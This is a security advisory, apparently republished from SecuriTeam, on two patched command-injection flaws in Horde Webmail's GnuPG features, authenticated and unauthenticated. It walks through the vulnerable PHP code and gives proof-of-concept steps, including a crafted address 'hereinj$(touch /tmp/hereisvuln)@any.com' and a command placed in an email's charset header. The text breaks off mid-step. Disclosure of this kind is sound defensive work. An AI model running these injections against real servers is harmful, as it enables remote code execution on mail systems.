扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 |
Source: https://blogs.securiteam.com/index.php/archives/3107 Vulnerabilities Summary The following advisory describes two (2) vulnerabilities found in Horde Groupware Webmail. Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project. Horde Groupware Webmail Edition bundles the separately available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo, Gollem, and Trean. It can be extended with any of the released Horde applications or the applications that are still in development, like a bookmark manager or a file manager. Affected versions: Horde 5, 4 and 3 The vulnerabilities found in Horde Groupware Webmail are: Authentication Remote Code Execution Unauthentication Remote Code Execution Credit An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. Vendor response Horde has released a patch to address the vulnerabilities. For more information: https://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html Vulnerabilities Details Authentication Remote Code Execution Horde Webmail contains a vulnerability that allows a remote attacker to execute arbitrary code with the privileges of the user who runs the web server. For successful attack GnuPG feature should be enabled on the target server (path to gpg binary should be defined in $conf[gnupg][path] setting). Vulnerable code: encryptMessage() function of GPG feature. Path: /Horde/Crypt/Pgp/Backend/Binary.php: /* 416 */ public function encryptMessage($text, $params) /* 417 */ { /* … */ /* 435 */ foreach (array_keys($params['recips']) as $val) { /* 436 */ $cmdline[] = '--recipient ' . $val; #! vulnerable code /* … */ /* 444 */ /* Encrypt the document. */ /* 445 */ $result = $this->_callGpg( /* 446 */ $cmdline, /* 447 */ 'w', /* 448 */ empty($params['symmetric']) ? null : $params['passphrase'], /* 449 */ true, /* 450 */ true /* 451 */ ); $params[‘recips’] will be added to $cmdline array and passed to _callGpg(): Path: /Horde/Crypt/Pgp/Backend/Binary.php: /* 642 */ public function _callGpg( /* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false, /* 644 */ $parseable = false, $verbose = false /* 645 */ ) /* 646 */ { /* … */ /* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options)); /* … */ /* 681 */ if ($mode == 'w') { /* 682 */ if ($fp = popen($cmdline, 'w')) {#! vulnerable code /* … */ We can see that our recipients (addresses) will be in command line that is going to be executed. encryptMessage() function can be reached by various API, requests. For example it will be called when user try to send encrypted message. Our request for encryption and sending our message will be processed by buildAndSendMessage() method: Path: /imp/lib/Compose.php /* 733 */ public function buildAndSendMessage( /* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array() /* 735 */ ) /* 736 */ { /* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session; /* 738 */ /* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit /* 740 */ * characters can be in the address fields. */ /* 741 */ $recip = $this->recipientList($header); /* ... */ /* 793 */ /* Must encrypt & send the message one recipient at a time. */ /* 794 */ if ($prefs->getValue('use_smime') && /* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT, IMP_Crypt_Smime::SIGNENC))) { /* ... */ /* 807 */ } else { /* 808 */ /* Can send in clear-text all at once, or PGP can encrypt /* 809 */ * multiple addresses in the same message. */ /* 810 */ $msg_options['from'] = $from; /* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body, $msg_options);#! vulnerable code In line 741 it tries to create recipient list: Horde parsers values of ‘to’, ‘cc’, ‘bcc’ headers and creates list of Rfc822 addresses. In general there are restrictions for characters in addresses but if we will use the next format: display-name <"somemailbox"@somedomain.com> somemailbox will be parsed by _rfc822ParseQuotedString() method: Path: /Horde/Mail/Rfc822.php: /* 557 */ protected function _rfc822ParseQuotedString(&$str) /* 558 */ { /* 559 */ if ($this->_curr(true) != '"') { /* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.'); /* 561 */ } /* 563 */ while (($chr = $this->_curr(true)) !== false) { /* 564 */ switch ($chr) { /* 565 */ case '"': /* 566 */ $this->_rfc822SkipLwsp(); /* 567 */ return; /* 569 */ case "\n": /* 570 */ /* Folding whitespace, remove the (CR)LF. */ /* 571 */ if (substr($str, -1) == "\r") { /* 572 */ $str = substr($str, 0, -1); /* 573 */ } /* 574 */ continue; /* 576 */ case '\\': /* 577 */ if (($chr = $this->_curr(true)) === false) { /* 578 */ break 2; /* 579 */ } /* 580 */ break; /* 581 */ } /* 583 */ $str .= $chr; /* 584 */ } /* 586 */ /* Missing trailing '"', or partial quoted character. */ /* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.'); /* 588 */ } There are only a few limitations: we cannot use “ \n will be deleted we cannot use \ at the end of our mailbox After creation of recipient list buildAndSendMessage() will call _createMimeMessage(): Path: /imp/lib/Compose.php /* 1446 */ protected function _createMimeMessage( /* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array() /* 1448 */ ) /* 1449 */ { /* 1450 */ global $conf, $injector, $prefs, $registry; /* ... */ /* 1691 */ /* Set up the base message now. */ /* 1692 */ $encrypt = empty($options['encrypt']) /* 1693 */ ? IMP::ENCRYPT_NONE /* 1694 */ : $options['encrypt']; /* 1695 */ if ($prefs->getValue('use_pgp') && /* 1696 */ !empty($conf['gnupg']['path']) && /* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT, IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC, IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) { /* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp'); /* ... */ /* 1727 */ /* Do the encryption/signing requested. */ /* 1728 */ try { /* 1729 */ switch ($encrypt) { /* ... */ /* 1735 */ case IMP_Crypt_Pgp::ENCRYPT: /* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT: /* 1737 */ $to_list = clone $to; /* 1738 */ if (count($options['from'])) { /* 1739 */ $to_list->add($options['from']); /* 1740 */ } /* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list, ($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ? $symmetric_passphrase : null); /* 1742 */ break; Here we can see validation (1695-1696 lines) that: Current user has enabled “use_pgp” feature in his preferences (it is not a problem as an attacker can edit his own preferences) $conf[‘gnupg’][‘path’] is not empty. This value can be edited only by admin. So if we don’t have value here our server is not vulnerable. But if admin wants to allow users to use GPG feature he/she needs to define value for this config. Also we can see that in lines 1737-1739 to our recipient list will be added address “from” as well. Path: /imp/lib/Crypt/Pgp.php /* 584 */ public function impEncryptMimePart($mime_part, /* 585 */ Horde_Mail_Rfc822_List $addresses, /* 586 */ $symmetric = null) /* 587 */ { /* 588 */ return $this->encryptMimePart($mime_part, $this->_encryptParameters($addresses, $symmetric)); /* 589 */ } Before encryptMimePart() call Horde uses _encryptParameters() Path: /imp/lib/Crypt/Pgp.php /* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List $addresses, /* 537 */ $symmetric) /* 538 */ { /* ... */ /* 546 */ $addr_list = array(); /* 548 */ foreach ($addresses as $val) { /* 549 */ /* Get the public key for the address. */ /* 550 */ $bare_addr = $val->bare_address; /* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr); /* 552 */ } /* 554 */ return array('recips' => $addr_list); /* 555 */ } Horde will add to each address its Public Key. There a few source of Public Keys: AddressBook (we will use this source) Servers with Public Keys Note that Horde should be able to find Public Key for our “From” address as well. We can generate pair of PGP keys (https is required) or we can use the same trick with AddressBook (we can create some contact, add any valid Public PGP key, and add this address to default identity) encryptMimePart() will call encrypt() method Path: /Horde/Crypt/Pgp.php /* 773 */ public function encryptMIMEPart($mime_part, $params = array()) /* 774 */ { /* 775 */ $params = array_merge($params, array('type' => 'message')); /* … */ /* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params); It will call encryptMessage() Path: /Horde/Crypt/Pgp.php /* 554 */ public function encrypt($text, $params = array()) /* 555 */ { /* 556 */ switch (isset($params['type']) ? $params['type'] : false) { /* 557 */ case 'message': /* 558 */ $error = Horde_Crypt_Translation::t( /* 559 */ "Could not PGP encrypt message." /* 560 */ ); /* 561 */ $func = 'encryptMessage'; /* 562 */ break; /* ... */ /* 586 */ $this->_initDrivers(); /* 587 */ /* 588 */ foreach ($this->_backends as $val) { /* 589 */ try { /* 590 */ return $val->$func($text, $params); /* 591 */ } catch (Horde_Crypt_Exception $e) {} /* 592 */ } In conclusions: If Horde server has enabled “GnuPG feature” any unprivileged user is able to execute arbitrary code. Enable GPG feature for attacker account (“Enable PGP functionality?” checkbox on “PGP Configure PGP encryption support.” section in Prefferences->Mail page ) Create some contact in the attacker AddressBook, add any valid Public PGP key, and add this address to default identity Create another contact in the attacker AddressBook, add any valid Public PGP key, and change email address to some$(desired command to execute) contact@somedomain.com Create a new message to some$(desired command to execute) contact@somedomain.com Choose Encryption:PGP Encrypt Message option Click Send button And desired command will be executed on the Horde server. Proof of Concept – Authenticated Code Execution For Proof of Concept we can use preconfigured image of Horde server from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs that work on any platform”): https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova Step 1 – Login as admin (by default user:bitnami) and go to Administration -> Configuration and choose Horde (horde). Open GnuPG tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click “Generate Horde Configuration“: Now we have enabled GPG feature on our server and we can login as regular user and try to execute desired commands. But Bitnami image does not have installed and configured Mail server so we need to use external one or install it on local machine. We will use gmail account (to be able to login to it from Horde I had to change Gmail account setting Allow less secure apps: ON). To use external Mail server we need to change the next setting: “Administrator Panel” -> “Configuration” -> “Horde” -> “Authentication” Step 2 – Configure Horde web-mail authentication ($conf[auth][driver]) to “Let a Horde application handle authentication” and click “Generate Horde Configuration”: Step 3 – logout and login with your gmail account. Currently we are login as regular user so we can try to execute desired commands: Go to Preferences -> Mail and click on PGP link. Check Enable PGP functionality? checkbox and click “Save”: Create “from” contact in our AddressBook: “Address Book -> New Contact -> in Address Book of …” Personal tab – Last Name: mymailboxwithPGPkey Communication tab – Email: mymailboxwihPGP@any.com Other tab – PGP Public Key: any valid Public PGP key. For example: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: SKS 1.1.6 Comment: Hostname: keyserver.ubuntu.com mQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01 YPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ 5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D /iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82 z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/ POGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr 72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch zVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI fQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC AAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPoheBBMRAgAW BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC/opYPrkBDQQ5PPYqEAQArSW27DriJAFs Or+fnb3VwsYvznFfEv8NJyM/9/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu/ VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0 P8xmsUXNgWVxX/MAAwUD/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU/H0cn9SHzCQKxn+iC sqZlCsR+qXNDl43vSa6Riv/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw/27 kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8= =RHjX -----END PGP PUBLIC KEY BLOCK----- Click “Add” button: Go to Preferences -> Global Preferences and click on Personal Information link. Put mymailboxwihPGP@any.com into field The default e-mail address to use with this identity and Click “Save”: Create our “to” contact in our AddressBook: “Address Book -> New Contact -> in Address Book of …” Personal tab – Last Name: contact_for_attack Communication tab – Email: hereinj@any.com Other tab – PGP Public Key: any valid Public PGP key (it can be the same as in the previous step) And click “Add” button: Inject our command: Click on Edit. Go to Communication Tab, put cursor in Email field and chose “Inspect Element (Q)” from context menu: Delete “email” from the type argument and close Inspector: 1 <input name="object[email]" id="object_email_" value="hereinj@any.com" type="email"> Edit the address as we want – for example hereinj$(touch /tmp/hereisvuln)@any.com and click “Save”: Create a new message ( Mail -> New Message) with our contact as recipient: Choose PGP Encrypt Message in Encryption option: Enter any subject and any content. Click “Send” We will get “PGP Error:…” It is ok – let’s check our server: We have a new file “hereisvuln” so our command was executed. Unauthentication Remote Code Execution Horde Webmail contains a vulnerability that allows a remote attacker to execute arbitrary code with the privileges of the user who runs the web server. Vulnerable code: decryptSignature() function of GPG feature. Path: /Horde/Crypt/Pgp/Backend/Binary.php: /* 539 */ public function decryptSignature($text, $params) /* 540 */ { /* ... */ /* 550 */ /* Options for the GPG binary. */ /* 551 */ $cmdline = array( /* 552 */ '--armor', /* 553 */ '--always-trust', /* 554 */ '--batch', /* 555 */ '--charset ' . (isset($params['charset']) ? $params['charset'] : 'UTF-8'), /* 556 */ $keyring, /* 557 */ '--verify' /* 558 */ ); /* ... */ /* 571 */ $result = $this->_callGpg($cmdline, 'r', null, true, true, true); /* ... */ $params[‘charset’] will be added to $cmdline array and passed to _callGpg(): /* 642 */ public function _callGpg( /* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false, /* 644 */ $parseable = false, $verbose = false /* 645 */ ) /* 646 */ { /* … */ /* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options)); /* … */ /* 681 */ if ($mode == 'w') { /* … */ /* 704 */ } elseif ($mode == 'r') { /* 705 */ if ($fp = popen($cmdline, 'r')) { /* … */ Our $params[‘charset’] will be in command line that is going to be executed. decryptSignature() is called from decrypt() method: Path – /Horde/Crypt/Pgp.php: /* 611 */ public function decrypt($text, $params = array()) /* 612 */ { /* 613 */ switch (isset($params['type']) ? $params['type'] : false) { /* 614 */ case 'detached-signature': /* 615 */ case 'signature': /* 616 */ /* Check for required parameters. */ /* 617 */ if (!isset($params['pubkey'])) { /* 618 */ throw new InvalidArgumentException( /* 619 */ 'A public PGP key is required to verify a signed message.' /* 620 */ ); /* 621 */ } /* 622 */ if (($params['type'] === 'detached-signature') && /* 623 */ !isset($params['signature'])) { /* 624 */ throw new InvalidArgumentException( /* 625 */ 'The detached PGP signature block is required to verify the signed message.' /* 626 */ ); /* 627 */ } /* 628 */ /* 629 */ $func = 'decryptSignature'; /* 630 */ break; /* ... */ /* 650 */ $this->_initDrivers(); /* 651 */ /* 652 */ foreach ($this->_backends as $val) { /* 653 */ try { /* 654 */ return $val->$func($text, $params); /* 655 */ } catch (Horde_Crypt_Exception $e) {} /* 656 */ } /* ... */ decrypt() with needed parameters is used in verifySignature(): Path – /imp/lib/Crypt/Pgp.php /* 339 */ public function verifySignature($text, $address, $signature = '', /* 340 */ $charset = null) /* 341 */ { /* 342 */ if (!empty($signature)) { /* 343 */ $packet_info = $this->pgpPacketInformation($signature); /* 344 */ if (isset($packet_info['keyid'])) { /* 345 */ $keyid = $packet_info['keyid']; /* 346 */ } /* 347 */ } /* 349 */ if (!isset($keyid)) { /* 350 */ $keyid = $this->getSignersKeyID($text); /* 351 */ } /* 353 */ /* Get key ID of key. */ /* 354 */ $public_key = $this->getPublicKey($address, array('keyid' => $keyid)); /* 356 */ if (empty($signature)) { /* 357 */ $options = array('type' => 'signature'); /* 358 */ } else { /* 359 */ $options = array('type' => 'detached-signature', 'signature' => $signature); /* 360 */ } /* 361 */ $options['pubkey'] = $public_key; /* 363 */ if (!empty($charset)) { /* 364 */ $options['charset'] = $charset; /* 365 */ } /* 369 */ return $this->decrypt($text, $options); /* 370 */ } verifySignature() is called from _outputPGPSigned(): Path – /imp/lib/Mime/Viewer/Pgp.php /* 387 */ protected function _outputPGPSigned() /* 388 */ { /* 389 */ global $conf, $injector, $prefs, $registry, $session; /* 390 */ /* 391 */ $partlist = array_keys($this->_mimepart->contentTypeMap()); /* 392 */ $base_id = reset($partlist); /* 393 */ $signed_id = next($partlist); /* 394 */ $sig_id = Horde_Mime::mimeIdArithmetic($signed_id, 'next'); /* 395 */ /* 396 */ if (!$prefs->getValue('use_pgp') || empty($conf['gnupg']['path'])) { /* 397 */ return array( /* 398 */ $sig_id => null /* 399 */ ); /* 400 */ } /* ... */ /* 417 */ if ($prefs->getValue('pgp_verify') || /* 418 */ $injector->getInstance('Horde_Variables')->pgp_verify_msg) { /* 419 */ $imp_contents = $this->getConfigParam('imp_contents'); /* 420 */ $sig_part = $imp_contents->getMIMEPart($sig_id); /* ... */ /* 433 */ try { /* 434 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp'); /* 435 */ if ($sig_raw = $sig_part->getMetadata(Horde_Crypt_Pgp_Parse::SIG_RAW)) { /* 436 */ $sig_result = $imp_pgp->verifySignature($sig_raw, $this->_getSender()->bare_address, null, $sig_part- > getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET)); /* ... */ And it is used in _renderInline(): Path – /imp/lib/Mime/Viewer/Pgp.php /* 134 */ protected function _renderInline() /* 135 */ { /* 136 */ $id = $this->_mimepart->getMimeId(); /* 138 */ switch ($this->_mimepart->getType()) { /* ... */ /* 142 */ case 'multipart/signed': /* 143 */ return $this->_outputPGPSigned(); Let’s go back to _outputPGPSigned() method. We can see a few requirements before the needed call: $conf[‘gnupg’][‘path’] should be not empty. This value can be edited only by admin(if he/she wants to allow users to use GPG feature he/she needs to define value for this config). Current user has enabled “use_pgp” feature in his preferences Current user has enabled “pgp_verify” feature in his preferences Current user has enabled “pgp_verify” feature in his preferences Also we see that our charset value is taken from $sig_part -> getMetadata(Horde_Crypt_Pgp_Parse::SIG_CHARSET) Our value will be stored during parsing of PGP parts: Path – /Horde/Crypt/Pgp/Parse.php /* 150 */ public function parseToPart($text, $charset = 'UTF-8') /* 151 */ { /* 152 */ $parts = $this->parse($text); /* ... */ /* 162 */ while (list(,$val) = each($parts)) { /* 163 */ switch ($val['type']) { /* ... */ /* 200 */ case self::ARMOR_SIGNED_MESSAGE: /* 201 */ if ((list(,$sig) = each($parts)) && /* 202 */ ($sig['type'] == self::ARMOR_SIGNATURE)) { /* 203 */ $part = new Horde_Mime_Part(); /* 204 */ $part->setType('multipart/signed'); /* 205 */ // TODO: add micalg parameter /* 206 */ $part->setContentTypeParameter('protocol', 'application/pgp-signature'); /* 207 */ /* 208 */ $part1 = new Horde_Mime_Part(); /* 209 */ $part1->setType('text/plain'); /* 210 */ $part1->setCharset($charset); /* 211 */ /* 212 */ $part1_data = implode("\n", $val['data']); /* 213 */ $part1->setContents(substr($part1_data, strpos($part1_data, "\n\n") + 2)); /* 214 */ /* 215 */ $part2 = new Horde_Mime_Part(); /* 216 */ /* 217 */ $part2->setType('application/pgp-signature'); /* 218 */ $part2->setContents(implode("\n", $sig['data'])); /* 219 */ /* 220 */ $part2->setMetadata(self::SIG_CHARSET, $charset); /* 221 */ $part2->setMetadata(self::SIG_RAW, implode("\n", $val['data']) . "\n" . implode("\n", $sig['data'])); /* 222 */ /* 223 */ $part->addPart($part1); /* 224 */ $part->addPart($part2); /* 225 */ $new_part->addPart($part); /* 226 */ /* 227 */ next($parts); /* 228 */ } /* 229 */ } /* 230 */ } /* 231 */ /* 232 */ return $new_part; /* 233 */ } It is called from _parsePGP(): Path – /imp/lib/Mime/Viewer/Plain.php × 1 2 3 4 5 6 7 8 /* 239 */ protected function _parsePGP() /* 240 */ { /* 241 */ $part = $GLOBALS['injector']->getInstance('Horde_Crypt_Pgp_Parse')->parseToPart( /* 242 */ new Horde_Stream_Existing(array( /* 243 */ 'stream' => $this->_mimepart->getContents(array('stream' => true)) /* 244 */ )), /* 245 */ $this->_mimepart->getCharset() /* 246 */ ); Our charset value is taken from CHARSET attribute of Content-Type header of parent MIMEpart. _parsePGP() is used in _getEmbeddedMimeParts() method and from Horde Webmail ver 5.2.0 it looks like: Path – /imp/lib/Mime/Viewer/Plain.php /* 222 */ protected function _getEmbeddedMimeParts() /* 223 */ { /* 224 */ $ret = $this->getConfigParam('pgp_inline') /* 225 */ ? $this->_parsePGP() /* 226 */ : null; We can see an additional requirement – our function will be called only if ‘pgp_inline‘ config parameter is “true”. It is defined in: Path – /imp/config/mime_drivers.php /* 37 */ /* Scans the text for inline PGP data. If true, will strip this data /* 38 */ * out of the output (and, if PGP is active, will display the /* 39 */ * results of the PGP action). */ /* 40 */ 'pgp_inline' => false Default value is false, so the major part of Horde servers is not vulnerable and our attack is relevant only if an admin manually has changed this line to ‘pgp_inline‘ => true. But in older versions (before 5.2.0) the code of _getEmbeddedMimeParts() is a bit different: Path – /imp/lib/Mime/Viewer/Plain.php /* 227 */ protected function _getEmbeddedMimeParts() /* 228 */ { /* 229 */ $ret = null; /* 230 */ /* 231 */ if (!empty($GLOBALS['conf']['gnupg']['path']) && /* 232 */ $GLOBALS['prefs']->getValue('pgp_scan_body')) { /* 233 */ $ret = $this->_parsePGP(); /* 234 */ } So instead of requirement to have config parameter we have requirement of ‘pgp_scan_body‘ Preference of current user. And it is more likely to find a victim with needed preferences. We saw where our injected command is executed and from where and when it is taken During rendering of massage we: Will parse PGP values: #0 IMP_Mime_Viewer_Plain->_parsePGP() called at [/imp/lib/Mime/Viewer/Plain.php:225] #1 IMP_Mime_Viewer_Plain->_getEmbeddedMimeParts() called at [/Horde/Mime/Viewer/Base.php:298] #2 Horde_Mime_Viewer_Base->getEmbeddedMimeParts() called at [/imp/lib/Contents.php:1114] #3 IMP_Contents->_buildMessage() called at [/imp/lib/Contents.php:1186] #4 IMP_Contents->getContentTypeMap() called at [/imp/lib/Contents.php:1423] #5 IMP_Contents->getInlineOutput() called at [/imp/lib/Ajax/Application/ShowMessage.php:296] Will use them in: #0 IMP_Mime_Viewer_Plain->_parsePGP() called at [/imp/lib/Mime/Viewer/Plain.php:225] #0 IMP_Mime_Viewer_Pgp->_renderInline() called at [/Horde/Mime/Viewer/Base.php:156] #1 Horde_Mime_Viewer_Base->render() called at [/Horde/Mime/Viewer/Base.php:207] #2 Horde_Mime_Viewer_Base->_renderInline() called at [/Horde/Mime/Viewer/Base.php:156] #3 Horde_Mime_Viewer_Base->render() called at [/imp/lib/Contents.php:654] #4 IMP_Contents->renderMIMEPart() called at [/imp/lib/Contents.php:1462] #5 IMP_Contents->getInlineOutput() called at [/imp/lib/Ajax/Application/ShowMessage.php:296]] In conclusions: If Horde server has vulnerable configuration: Enabled “GnuPG feature” (there is path to gpg binary in $conf[gnupg][path] setting) Only for ver 5.2.0 and newer: ‘pgp_inline’ => true, in /imp/config/mime_drivers.php And the victim has checked the next checkbox in his/her preferences ( “PGP Configure PGP encryption support.” in Prefferences->Mail) : “Enable PGP functionality” “Should PGP signed messages be automatically verified when viewed?” if it is not checked our command will be executed when the victim clicks on the link “Click HERE to verify the message.” For versions before 5.2.0: “Should the body of plaintext message be scanned for PGP data” An attacker can create email with PGP data, put desired command into CHARSET attribute of ContentType header, and this command will be executed on Horde server when the victim opens this email. Proof of Concept – Remote Code Execution For Proof of Concept we can use preconfigured image of Horde server from Bitnami (Bitnami – “Easy to use cloud images, containers, and VMs that work on any platform”): https://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova Step 1 – Login as admin (by default user:bitnami) and go to Administration -> Configuration and choose Horde (horde). Open GnuPG tab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click “Generate Horde Configuration“: Now we have enabled GPG feature on our server and we can login as regular user and try to execute desired commands. But Bitnami image does not have installed and configured Mail server so we need to use external one or install it on local machine. We will use gmail account (to be able to login to it from Horde I had to change Gmail account setting Allow less secure apps: ON). To use external Mail server we need to change the next setting: “Administrator Panel” -> “Configuration” -> “Horde” -> “Authentication” Configure the application authentication ($conf[auth][driver]) – change this option to “Let a Horde application handle authentication” and click “Generate Horde Configuration”. If we have Horde Webmail ver 5.2.0 or newer we need to edit /imp/config/mime_drivers.php file. Login to the console of bitnami image (default bitnami:bitnami) and run the next command: sudo nano /opt/bitnami/apps/horde/htdocs/imp/config/mime_drivers.php Change the line: “‘pgp_inline’ => false” to “‘pgp_inline’ => true” and save the changes. Step 2 – Logout and login with your gmail account. Step 3 – Go to Preferences -> Mail and click on PGP link: Check Enable PGP functionality checkbox and click “Save” Check Should PGP signed messages be automatically verified when viewed checkbox For versions before 5.2.0 check “Should the body of plain-text message be scanned for PGP data” checkbox Click “Save” For version before 5.2.0: Step 4 – Go to the Mail, take any mail folder (for example Drafts), and chose “Import” item from context menu and import attack_whoami.eml file (in the end of this blog). Click on the imported email: Our 